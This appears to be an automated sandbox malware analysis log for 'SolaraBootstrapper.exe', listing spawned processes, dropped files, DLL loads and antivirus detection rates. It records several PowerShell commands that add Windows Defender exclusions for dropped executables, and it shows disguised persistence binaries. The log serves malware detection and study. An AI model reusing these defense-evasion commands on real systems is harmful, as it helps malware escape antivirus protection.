File created: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Media\3KNj5pJ.bat" "

Source: C:\Program Files\Uninstall Information\smss.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs"

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Command line argument: sfxname	4_2_0078D5D4
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Command line argument: sfxstime	4_2_0078D5D4
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Command line argument: STARTDLG	4_2_0078D5D4
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Command line argument: xj\|	4_2_0078D5D4

Source: SolaraBootstrapper.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: SolaraBootstrapper.exe	ReversingLabs: Detection: 73%
Source: SolaraBootstrapper.exe	Virustotal: Detection: 51%

Source: unknown	Process created: C:\Users\user\Desktop\SolaraBootstrapper.exe "C:\Users\user\Desktop\SolaraBootstrapper.exe"
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Process created: C:\Users\user\AppData\Roaming\Bootstrapper.exe "C:\Users\user\AppData\Roaming\Bootstrapper.exe"
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Process created: C:\ProgramData\Bootstrapper.exe "C:\ProgramData\Bootstrapper.exe"
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Process created: C:\Users\user\AppData\Local\Temp\Boostraper.bat "C:\Users\user\AppData\Local\Temp\Boostraper.bat"
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Media\TKlkLwYGTbrYwK.vbe"
Source: C:\ProgramData\Bootstrapper.exe	Process created: C:\ProgramData\SolaraBootstrapper.exe "C:\ProgramData\SolaraBootstrapper.exe"
Source: C:\ProgramData\SolaraBootstrapper.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Media\3KNj5pJ.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Media\fontreview.exe "C:\Media\fontreview.exe"
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Media\fontreview.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Uninstall Information\smss.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\internet explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\hKSsSsDflU.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe"
Source: unknown	Process created: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe"
Source: unknown	Process created: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe
Source: unknown	Process created: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe
Source: unknown	Process created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
Source: unknown	Process created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
Source: unknown	Process created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
Source: C:\Program Files\Uninstall Information\smss.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\d5cQTyHbvx.bat"
Source: C:\Program Files\Uninstall Information\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
Source: unknown	Process created: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe "C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe"
Source: C:\ProgramData\SolaraBootstrapper.exe	Process created: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe "C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe"
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Process created: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --user-data-dir="C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=1 --edge-webview-custom-scheme --enable-features=MojoIpcz --mojo-named-platform-channel-pipe=8236.8364.12592772921388262900
Source: C:\Windows\System32\w32tm.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Process created: C:\Users\user\AppData\Roaming\Bootstrapper.exe "C:\Users\user\AppData\Roaming\Bootstrapper.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Process created: C:\ProgramData\Bootstrapper.exe "C:\ProgramData\Bootstrapper.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Process created: C:\Users\user\AppData\Local\Temp\Boostraper.bat "C:\Users\user\AppData\Local\Temp\Boostraper.bat"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe'	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Process created: C:\ProgramData\SolaraBootstrapper.exe "C:\ProgramData\SolaraBootstrapper.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Media\TKlkLwYGTbrYwK.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Media\3KNj5pJ.bat" "	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process created: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe "C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Media\fontreview.exe "C:\Media\fontreview.exe"
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Media\fontreview.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Uninstall Information\smss.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\internet explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\hKSsSsDflU.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
Source: C:\Program Files\Uninstall Information\smss.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\d5cQTyHbvx.bat"
Source: C:\Program Files\Uninstall Information\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: textshaping.dll	Jump to behavior
